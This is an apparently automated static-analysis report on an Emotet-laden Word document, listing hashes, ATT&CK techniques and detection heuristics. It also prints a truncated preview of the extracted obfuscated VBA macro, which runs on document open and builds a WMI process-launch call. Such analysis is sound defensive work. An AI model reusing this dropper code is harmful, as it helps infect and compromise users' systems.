Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 640155bd70216bdc…

MALICIOUS

Office (OLE)

250.0 KB Created: 2020-09-03 04:48:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 0249ffecdc10a85e756b1d44b32c815e SHA-1: 727882ae8b09cc00b9307dc5f757232b21f15bcd SHA-256: 640155bd70216bdcae6e45feb4b7e31ca633270d66d63d80a717e4b2ddb73f4f
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for Emotet. The VBA code is heavily obfuscated, but the presence of CreateObject and the ClamAV detection name 'Doc.Downloader.EmotetRed02226-9938639-0' strongly indicate its purpose is to download and execute a secondary payload. The macro's obfuscation and auto-execution suggest a malicious intent to compromise the user's system upon opening the document.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12877 bytes
SHA-256: c325b6d375105ef7e0737d377d98298d348c790dd1893bf29b8bb8b1ba993945
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cywalwdprrur4jp8s2"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call W8mcsvrhm0g.Eqd2kgrc8in1plz_i
End Sub


Attribute VB_Name = "W8mcsvrhm0g"
Attribute VB_Base = "0{9FA1ED09-5B29-4609-80C9-11B4C330EFCE}{A2FA82AA-02BC-43D9-9EF1-63B211BE4392}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Eqd2kgrc8in1plz_i()
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Zdm9pcrto6nwm = 105
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Mmdig9o5sy7 = ChrW$(Zdm9pcrto6nwm + (10))
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Tfb6pn8nwfvo2m_4 = "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))si82fFHG74_(( sa3fj4_ hu23V))snm82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sgm82fFHG74_(( sa3fj4_ hu23V))st82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s" + Mmdig9o5sy7 + "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s:82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))sin82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s382fFHG74_(( sa3fj4_ hu23V))s282fFHG74_(( sa3fj4_ hu23V))s_82fFHG74_(( sa3fj4_ hu23V))s" + W8mcsvrhm0g.Mw2yqq91cwjc312 + "82fFHG74_(( sa3fj4_ hu23V))sro82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sce82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))s"
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Hts517pobeb2r = Rebxmoyc__alqyb_(Tfb6pn8nwfvo2m_4)
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CSt
... (truncated)